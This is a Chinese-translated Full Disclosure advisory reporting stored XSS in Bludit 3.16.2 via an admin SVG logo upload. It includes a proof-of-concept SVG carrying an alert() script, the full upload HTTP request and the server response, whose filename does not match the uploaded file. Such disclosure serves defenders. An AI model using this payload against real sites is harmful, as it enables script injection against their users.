通过SVG文件上传实现XSS - bluditv3.16.2
发件人: Andrey Stoykov <mwebsec () gmail com>
日期: 2025年7月6日 22:50:26 +0100
漏洞信息
漏洞标题: 通过SVG文件上传实现XSS - bluditv3.16.2
日期: 2025年7月
漏洞作者: Andrey Stoykov
受影响版本: 3.16.2
测试环境: Debian 12
博客: https://msecureltd.blogspot.com/
XSS via SVG文件上传 #1
复现步骤:
- 使用管理员账户登录,点击"General" > “Logo”
恶意SVG文件内容:
1
2
3
4
5
|
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100" height="100" version="1.1" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert('xss');</script>
</svg>
|
HTTP POST请求上传SVG文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
POST /bludit/admin/ajax/logo-upload HTTP/1.1
Host: 192.168.58.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]
------geckoformboundarye27e3ffc54c763baa293ac2aeb3ed1a4
Content-Disposition: form-data; name="tokenCSRF"
59fc6f48ad5d60b39699491cada2390e1b42531b
------geckoformboundarye27e3ffc54c763baa293ac2aeb3ed1a4
Content-Disposition: form-data; name="inputFile"; filename="evilsvgfile-xss-bypass.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100" height="100" version="1.1" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert('xss');</script>
</svg>
------geckoformboundarye27e3ffc54c763baa293ac2aeb3ed1a4--
|
HTTP响应:
1
2
3
4
5
6
7
|
HTTP/1.1 200 OK
Date: Sat, 28 Jun 2025 21:16:10 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
X-Powered-By: PHP/5.6.40
[...]
{"status":0,"message":"Image uploaded.","filename":"test.svg","absoluteURL":"http:\/\/192.168.58.133\/bludit\/bl-content\/uploads\/test.svg","absolutePath":"\/opt\/lampp\/htdocs\/bludit\/bl-content\/uploads\/test.svg"}
|
通过Full Disclosure邮件列表发送
https://nmap.org/mailman/listinfo/fulldisclosure
网络存档和RSS:https://seclists.org/fulldisclosure/